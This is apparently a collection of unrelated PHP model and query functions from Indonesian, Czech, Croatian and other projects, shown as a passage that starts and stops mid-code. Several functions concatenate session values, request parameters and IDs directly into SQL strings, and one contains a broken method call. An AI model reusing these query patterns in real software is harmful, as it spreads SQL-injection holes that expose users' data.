\n\t\t\t\t\t$data[$i][\"neraca_level\"]=$row->akun_level;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis\"]=$row->akun_parent;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis_id\"]=$row->akun_parent_id;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_kode\"]=$row->akun_kode;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_nama\"]=$row->akun_nama;\r\n\t\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//bulan ini --> tidak dipakai\r\n\t\t\t\t$sql=\"SELECT A.akun_kode,sum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit\r\n\t\t\t\t\t\tFROM\tbuku_besar B, akun A\r\n\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\";\r\n\r\n\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m')='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t}\r\n\t\t\t\t//$sql.=\"GROUP BY A.akun_kode\";\r\n\t\t\t\t$sql.=\"\tORDER BY A.akun_kode ASC\";\r\n\r\n\t\t\t\t$isi=$this->db->query($sql);\r\n\t\t\t\tif($isi->num_rows()){\r\n\t\t\t\t\t$rowisi=$isi->row();\r\n\t\t\t\t\tif($row->akun_saldo=='Debet')\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=$saldo_akhir+($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=$saldo_akhir+($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=0;\r\n\t\t\t\t}\r\n\t\t\t\t$total_nilai+=$data[$i][\"neraca_saldo\"];\r\n\t\t\t\t$total_nilai_periode+=$data[$i][\"neraca_saldo_periode\"];\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\r\n\t\t\t//LAPORAN LABA RUGI\r\n\t\t\t//2011-11-02, hendri: sementara ditutup dulu, karena belum tahu kegunaannya, sepertinya sudah terwakilkan oleh neraca_jenis3 = 3\r\n\t\t\t\r\n\t\t\tif($neraca_jenis==2) {\r\n\t\t\t\t$sql=\"SELECT\tA.akun_id,A.akun_saldo,A.akun_kode,A.akun_jenis,A.akun_nama,A.akun_level,B.akun_id as akun_parent_id,\r\n\t\t\t\t\t\t\t\tB.akun_nama as akun_parent\r\n\t\t\t\t\t\tFROM \takun A, akun B\r\n\t\t\t\t\t\tWHERE \tA.akun_level=2\r\n\t\t\t\t\t\t\t\tAND A.\takun_parent_kode=B.akun_kode\r\n\t\t\t\t\t\t\t\tAND A.akun_jenis='R/L'\r\n\t\t\t\t\t\t\t\tAND B.akun_level=1\r\n\t\t\t\t\t\tORDER by A.akun_kode ASC\";\r\n\t\r\n\t\t\t\t$master=$this->db->query($sql);\r\n\t\t\t\t$nbrows=$master->num_rows();\r\n\t\t\t\t\r\n\t\t\t\t//$this->firephp->log(\"sql=\".$sql);\r\n\t\t\t\t\r\n\t\t\t\t$saldo=0;\r\n\t\t\t\t$saldo_akhir=0;\r\n\t\t\t\t$saldo_akhir_periode=0;\r\n\t\t\t\t$saldo_akun=0;\r\n\t\t\t\t$saldo_buku=0;\r\n\t\t\t\t\r\n\t\t\t\t//SALDO AWAL\r\n\t\t\t\t$sqlsaldo = \"SELECT\r\n\t\t\t\t\t\t\t\t\tA.akun_kode, sum(A.akun_debet) as debet, sum(A.akun_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\t\tFROM vu_akun A\r\n\t\t\t\t\t\t\t\tWHERE akun_jenis='R/L'\r\n\t\t\t\t\t\t\t\tGROUP BY A.akun_saldo\";\r\n\t\t\t\t\r\n\t\t\t\t$rssaldo=$this->db->query($sqlsaldo);\r\n\t\t\t\t\r\n\t\t\t\tif($rssaldo->num_rows()){\r\n\t\t\t\t\tforeach($rssaldo->result() as $rs){\r\n\t\t\t\t\t\t\tif($rs->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_akhir-= ($rs->debet-$rs->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_akhir+= ($rs->kredit-$rs->debet);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$saldo_akhir_periode=$saldo_akhir;\r\n\t\t\t\t\r\n\t\t\t\t//print_r('Saldo Awal'); print_r($saldo_akhir_periode);\r\n\t\t\t\t\r\n\t\t\t\t$test=\"\";\r\n\t\t\t\t\r\n\t\t\t\tforeach($master->result() as $row){\r\n\t\t\t\t\t//SALDO AWAL\r\n/*\t\t\t\t\t$saldo_akun=0;\r\n\t\t\t\t\t$sqlsaldo=\"SELECT \tA.akun_kode,sum(A.akun_debet) as debet,\r\n\t\t\t\t\t\t\t\t\t\tsum(A.akun_kredit) as kredit, \r\n\t\t\t\t\t\t\t\t\t\tA.akun_saldo\r\n\t\t\t\t\t\t\t\tFROM\takun A\r\n\t\t\t\t\t\t\t\tWHERE akun_jenis='R/L'\r\n\t\t\t\t\t\t\t\tAND \treplace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%' \r\n\t\t\t\t\t\t\t\tGROUP BY A.akun_saldo\";\r\n\t\t\r\n\t\t\t\t\t$rssaldo=$this->db->query($sqlsaldo);\r\n\t\t\t\t\tif($rssaldo->num_rows()){\r\n\t\t\t\t\t\tforeach($rssaldo->result() as $rs){\r\n\t\t\t\t\t\t\tif($rs->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_akun+= ($rs->debet-$rs->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_akun+= ($rs->kredit-$rs->debet);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t//$this->firephp->log(\"saldo group : \".$row->akun_kode.\" => \".$saldo_akun);\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($saldo_akun<>0){\r\n\t\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir-$saldo_akun;\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode-$saldo_akun;\r\n\t\t\t\t\t\t\t$test.=\"-\".$saldo_akun;\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir+$saldo_akun;\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode+$saldo_akun;\r\n\t\t\t\t\t\t\t$test.=\"+\".$saldo_akun;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n*/\t\t\t\t\t\r\n\r\n\t\t\t\t\t//saldo dari buku besar\r\n\t\t\t\t\t$sql=\"SELECT A.akun_kode,\r\n\t\t\t\t\t\t\tsum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\tFROM buku_besar B, akun A\r\n\t\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND A.akun_jenis='R/L'\r\n\t\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%' \";\r\n\t\t\t\t\t\t\t/*GROUP BY A.akun_kode, A.akun_saldo\";*/\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t\t$sql.=\"\tAND date_format(B.buku_tanggal,'%Y-%m')<='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t\t}elseif($buku_periode==\"tanggal\"){\r\n\t\t\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m-%d')<='\".$buku_tglakhir.\"'\";\r\n\t\t\t\t\t}\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t$rlisi=$this->db->query($sql);\r\n\t\t\t\t\tif($rlisi->num_rows()){\r\n\t\t\t\t\t\tforeach($rlisi->result() as $rowisi){\r\n\t\t\t\t\t\t\r\n\t\t/*\t\t\t\t\tprint_r($sql);\r\n\t\t\t\t\t\t\tprint_r(', akun_kode: '); print_r($rowisi->akun_kode);\r\n\t\t\t\t\t\t\tprint_r(', debet: '); print_r($rowisi->debet);\r\n\t\t\t\t\t\t\tprint_r(', kredit: '); print_r($rowisi->kredit);\t\t\t\t\t\r\n\t\t*/\t\t\t\t\t\r\n/*\t\t\t\t\t\t\tif($rowisi->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t\t}\r\n*/\r\n\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t//print_r($rowisi->akun_saldo); print_r(' '); print_r($saldo_buku);\r\n\t\t\t\t\t\r\n\t\t\t\t\t//print_r('Saldo Akhir: '); print_r($saldo_akhir);\r\n\t\t\t\t\t\r\n\t\t\t\t\t$saldo_akhir = $saldo_akhir + $saldo_buku;\r\n\r\n// tidak perlu, karena sudah dihitung di atas\t\t\t\r\n/*\t\t\t\t\tif($saldo_buku<>0){\r\n\t\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir-$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"-\".$saldo_akun;\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$saldo_akhir=$saldo_akhir+$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"+\".$saldo_akun;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n*/\t\t\t\t\r\n\t\t\t\t\t//bulan ini\r\n\t\t\t\t\t$saldo=0;\r\n\t\t\t\t\t$sql=\"SELECT A.akun_kode,sum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\tFROM\tbuku_besar B, akun A\r\n\t\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%' \r\n\t\t\t\t\t\t\tAND A.akun_jenis='R/L'\";\r\n\t\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t\t$sql.=\"\tAND date_format(B.buku_tanggal,'%Y-%m')='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t\t}elseif($buku_periode==\"tanggal\"){\r\n\t\t\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m-%d')<='\".$buku_tglakhir.\"'\";\r\n\t\t\t\t\t}\r\n\t\t\r\n\t\t\t\t\t$sql.=\" GROUP BY A.akun_kode, A.akun_saldo\";\r\n\t\t\t\t\t\r\n\t\t\t\t\tif($rlisi->num_rows()){\r\n\t\t\t\t\t\tforeach($rlisi->result() as $rowisi){\r\n/*\t\t\t\t\t\t\tif($rowisi->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\r\n*/\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t$saldo_buku= ($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t$saldo_akhir_periode = $saldo_akhir_periode + $saldo_buku;\r\n\t\t\t\t\t\r\n// tidak perlu, karena sudah dihitung di atas\t\t\t\t\t\r\n/*\t\t\t\t\tif($saldo_buku<>0){\r\n\t\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode-$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"-\".$saldo_akun;\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$saldo_akhir_periode=$saldo_akhir_periode+$saldo_buku;\r\n\t\t\t\t\t\t\t$test.=\"+\".$saldo_akun;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n*/\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t}\r\n\r\n\t\t\t\t$data[$i][\"neraca_akun\"]=777;\r\n\t\t\t\t$data[$i][\"neraca_jenis\"]='RUGI/LABA BERSIH';\r\n\t\t\t\t$data[$i][\"neraca_level\"]=1;\r\n\t\t\t\t$data[$i][\"neraca_jenis_id\"]=777;\r\n\t\t\t\t$data[$i][\"neraca_akun_kode\"]=\"777.\";\r\n\t\t\t\t$data[$i][\"neraca_akun_nama\"]=\"LABA/RUGI BERSIH\";\t\t\t\r\n\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir;\r\n\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=$saldo_akhir_periode;\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t//$this->firephp->log($test);\r\n\t\t\t\t\r\n\t\t\t\t$total_nilai+=$data[$i][\"neraca_saldo\"];\r\n\t\t\t\t$total_nilai_periode+=$data[$i][\"neraca_saldo_periode\"];\r\n\t\t\t\t$i++;\t\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t$data[$i][\"neraca_akun\"]=9999;\r\n\t\t\t$data[$i][\"neraca_jenis\"]='TOTAL';\r\n\t\t\t$data[$i][\"neraca_level\"]=2;\r\n\t\t\t$data[$i][\"neraca_jenis_id\"]=9999;\r\n\t\t\t$data[$i][\"neraca_akun_kode\"]=\"999.\";\r\n\t\t\t$data[$i][\"neraca_akun_nama\"]=\"TOTAL\";\t\t\t\r\n\t\t\t$data[$i][\"neraca_saldo\"]=$total_nilai;\r\n\t\t\t$data[$i][\"neraca_saldo_periode\"]=$total_nilai_periode;\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tif($nbrows>0){\r\n\t\t\t\t$jsonresult = json_encode($data);\r\n\t\t\t\treturn '({\"total\":\"'.$nbrows.'\",\"results\":'.$jsonresult.'})';\r\n\t\t\t} else {\r\n\t\t\t\treturn '({\"total\":\"0\", \"results\":\"\"})';\r\n\t\t\t}\r\n\t\t}", "public function searchBarangLG($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"LG\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "public function TraerCiudadRiesgo(){\n $sentencia = $this->db->prepare(\"SELECT *FROM ciudad WHERE zona_riesgo=1 \" ); \n $sentencia->execute(); // ejecuta -\n $query= $sentencia->fetchAll(PDO::FETCH_OBJ); // obtiene la respuesta\n return $query;\n }", "function m_get_jawaban($id_sk, $nipg, $id_kuesioner){\n\t\treturn $this->db->query('Select jawaban from tb_respon_kuesioner where id_sk = '.$id_sk.' AND nipg='.$nipg.' AND id_kuesioner = '.$id_kuesioner.'');\n\t}", "public static function getRoditelji()\n {\n //$data = Korisnik::where('korisnici_roditelj_1','=',NULL)->get();\n //$data = Korisnik::all();\n $dvaRoditelja=\\DB::select('SELECT DISTINCT \n k1.korisnici_roditelj_1, k2.korisnici_roditelj_2,\n k1.prezime as prvi_roditelj_prezime, k1.ime as prvi_roditelj_ime,\n k2.prezime as drugi_roditelj_prezime, k2.ime as drugi_roditelj_ime\n FROM korisnici k1, korisnici k2 \n WHERE (k1.korisnici_roditelj_1 = k2.korisnici_roditelj_1 \n AND k1.korisnici_roditelj_2 = k2.korisnici_roditelj_2)\n ');\n \n $jedanRoditelj=\\DB::select('SELECT DISTINCT \n k1.korisnici_roditelj_1, k2.korisnici_roditelj_2,\n k1.prezime as prvi_roditelj_prezime, k1.ime as prvi_roditelj_ime,\n k2.prezime as drugi_roditelj_prezime, k2.ime as drugi_roditelj_ime\n FROM korisnici k1, korisnici k2 \n WHERE (k1.korisnici_roditelj_1 = k2.korisnici_roditelj_1 \n AND k1.korisnici_roditelj_2 is NULL)');\n\n $dvaRoditelja=json_decode(json_encode($dvaRoditelja),true);\n $jedanRoditelj=json_decode(json_encode($jedanRoditelj),true);\n\n $data3=array_merge($dvaRoditelja,$jedanRoditelj);\n\n $data3=array_unique($data3, SORT_REGULAR);\n\n return compact(['data3']);\n \n }", "function getDataKPB($r_key){\n\t\t\t$sql = \"select p.idpegawai,p.nik,\".static::schema.\".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as pegawai,\n\t\t\t\t\tr.*,substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),3,2)+' bulan' as mklama,\n\t\t\t\t\tsubstring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),1,2) as mkthn, substring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),3,2) as mkbln,\n\t\t\t\t\tpl.golongan as pangkatlama,u.kodeunit+' - '+u.namaunit as namaunit\n\t\t\t\t\tfrom \".self::table('pe_kpb').\" r \n\t\t\t\t\tleft join \".self::table('ms_pegawai').\" p on p.idpegawai=r.idpegawai\n\t\t\t\t\tleft join \".self::table('ms_unit').\" u on u.idunit=p.idunit\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pl on pl.idpangkat=r.idpangkatlama\n\t\t\t\t\twhere r.nokpb = $r_key\";\n\t\t\t\n\t\t\treturn $sql;\n\t\t}", "public function searchBarangSSS($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')\n\t\t\t\t\t\t\t ->andWhere('b0001.PARENT=1')\n\t\t\t\t\t\t\t ->andWhere('KD_CORP=\"SSS\" OR KD_CORP=\"MM\"')\n\t\t\t\t\t\t\t ->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n $query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getAllPengajuanBMT(){\n// ->rightjoin('users','users.id','=','penyimpanan_bmt.id_user')\n// ->join('bmt','bmt.id','=','penyimpanan_bmt.id_bmt')->limit(25)->get();\n $id_rekening= $this->rekening->select('id')->where('tipe_rekening','detail')->get()->toArray();\n $data = BMT::whereIn('id_rekening',$id_rekening)->get();\n return $data;\n }", "public function nahrajObrazekByID($obrazekID){\n\t\t$dotaz = \"SELECT obrazekID,filepath,tabObrazky.uzivatelID,uzivatelJmeno FROM tabObrazky \n\t\t\t\t\tJOIN tabUzivatele ON tabUzivatele.uzivatelID = tabObrazky.uzivatelID WHERE obrazekID = \". $obrazekID;\n\t\t\t\n\t\t\t\t//echo \"X \".$dotaz .\" X\";\n\t\t\t$vratit = null;\n\t\t\t\n\t\t\t$vysledek = mysqli_query($this -> pripojeni,$dotaz);\n\t\t\tif($vysledek == false){\n\t\t\t\techo(\"During loading of data an error occured!\" . mysqli_error($this->pripojeni) );\n\t\t\t}\n\t\t\telse{\n\t\t\t\t//case vysledek je mysqli_result\n\t\t\t\t$pole = $vysledek->fetch_all(MYSQLI_ASSOC);\n\t\t\t\tforeach($pole as $radek ){\n\t\t\t\n\t\t\t\t\t$obrazekID = $radek[\"obrazekID\"];\n\t\t\t\t\t$filePath = $radek[\"filepath\"];\n\t\t\t\t\t$uzivatelID = $radek[\"uzivatelID\"];\n\t\t\t\t\t$jmenoUzivateleCoNahral = $radek[\"uzivatelJmeno\"];\t\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$obrazek = new obrazekObjekt($obrazekID, $filePath,$uzivatelID,$jmenoUzivateleCoNahral);\n\t\t\t\n\t\t\t\t\t$vratit = $obrazek;\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\t\n\t\t\n\t\treturn $vratit;\n\t}", "public function getPraktikum()\n\t{\n\t\t$sql = \"SELECT * FROM praktikum WHERE\nstatus = 1\";\n\t $query = koneksi()->query($sql);\n\t $hasil = [];\n\t while ($data = $query->fecth_assoc())\n\t\t$hasil[] = $data;\n\t }", "public function get_comanda_oberta($taula) {\n\n $array = array('taula' => $taula, 'estat =' => 'oberta');\n $this->db->select();\n $this->db->from('comanda');\n $this->db->where($array);\n $query = $this->db->get();\n\n return $query->row();\n }", "public function getTriwulanTerakhir($tahun, $kode_e2, $kode_sasaran_e2){\r\n\t\t$this->db->flush_cache();\r\n\t\t$this->db->select('*');\r\n\t\t$this->db->from('tbl_kinerja_eselon2');\r\n\t\t$this->db->where('tahun', $tahun);\r\n\t\t$this->db->where('kode_e2', $kode_e2);\r\n\t\t$this->db->where('kode_sasaran_e2', $kode_sasaran_e2);\r\n\t\t$this->db->order_by('triwulan', 'desc');\r\n\t\t\r\n\t\t$query = $this->db->get();\r\n\t\t\r\n\t\tif($query->num_rows() > 0){\r\n\t\t\treturn $query->row()->triwulan;\r\n\t\t}else{\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\t\r\n\t}", "function get_all_perumahan__pembangunan_rumah($params = array())\n {\n $this->db->order_by('id_pembangunan', 'desc');\n if(isset($params) && !empty($params))\n {\n $this->db->limit($params['limit'], $params['offset']);\n }\n return $this->db->get('perumahan__pembangunan_rumah')->result_array();\n }", "function get_all_tb_detil_barang()\n {\n $this->db->order_by('idDetilBarang', 'desc');\n return $this->db->get('tb_detil_barang')->result_array();\n }", "function get_keluaran($thang=\"2011\",$kddept=null,$kdunit=null,$kdprogram=null,$kdsatker=null,$kdgiat=null)\r\n{\r\n\t$ci = & get_instance();\r\n\t$ci->load->database();\r\n\t$sql = 'select round(avg(pk),2) as pk\r\n\tfrom tb_keluaran\r\n\twhere thang='.$thang.' ';\r\n\t\r\n\tif(isset($kddept)):\r\n\t\t$sql .= 'and kddept='.$kddept.' ';\r\n\tendif;\r\n\tif(isset($kdunit)):\r\n\t\t$sql .= 'and kdunit='.$kdunit.' ';\r\n\tendif;\r\n\tif(isset($kdprogram)):\r\n\t\t$sql .= 'and kdprogram='.$kdprogram.' ';\r\n\tendif;\r\n\tif(isset($kdsatker)):\r\n\t\t$sql .= 'and kdsatker='.$kdsatker.' ';\r\n\tendif;\r\n\tif(isset($kdgiat)):\r\n\t\t$sql .= 'and kdgiat='.$kdgiat.' ';\r\n\tendif;\r\n\treturn $ci->db->query($sql)->row();\r\n}", "public function searchAntrianRI()\n\t{\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('PAS_NOREKAMMEDIK',$this->PAS_NOREKAMMEDIK,true);\n\t\t$criteria->compare('REM_TGLKUNJUNGAN',$this->REM_TGLKUNJUNGAN,true);\n\t\t$criteria->compare('RID_TGLMASUKKAMAR',$this->RID_TGLMASUKKAMAR,true);\n\t\t$criteria->compare('KLS_IDKELAS',$this->KLS_IDKELAS,true);\n\t\t$criteria->compare('KMR_KODEKAMAR',$this->KMR_KODEKAMAR,true);\n\t\t$criteria->compare('KMR_KODEBED',$this->KMR_KODEBED,true);\n\t\t$criteria->compare('RID_TGLKELUARKAMAR',$this->RID_TGLKELUARKAMAR,true);\n\t\t$criteria->compare('RID_STATUSRI','=LUNAS',true);\n\t\t$criteria->compare('RID_KONDISIPASIENKELUAR',$this->RID_KONDISIPASIENKELUAR,true);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function getByIndex()\n {\n $query = \"SELECT a.id_tp, b.nama as 'hewan', c.nama as 'Kasir', d.nama as 'customer_service',\n a.kode as 'kode', a.tanggal as 'tanggal', \n a.sub_total as 'sub_total', a.total_harga as 'total_harga'\n FROM transaksi_produk a \n JOIN hewan b ON b.id_hewan=a.id_hewan 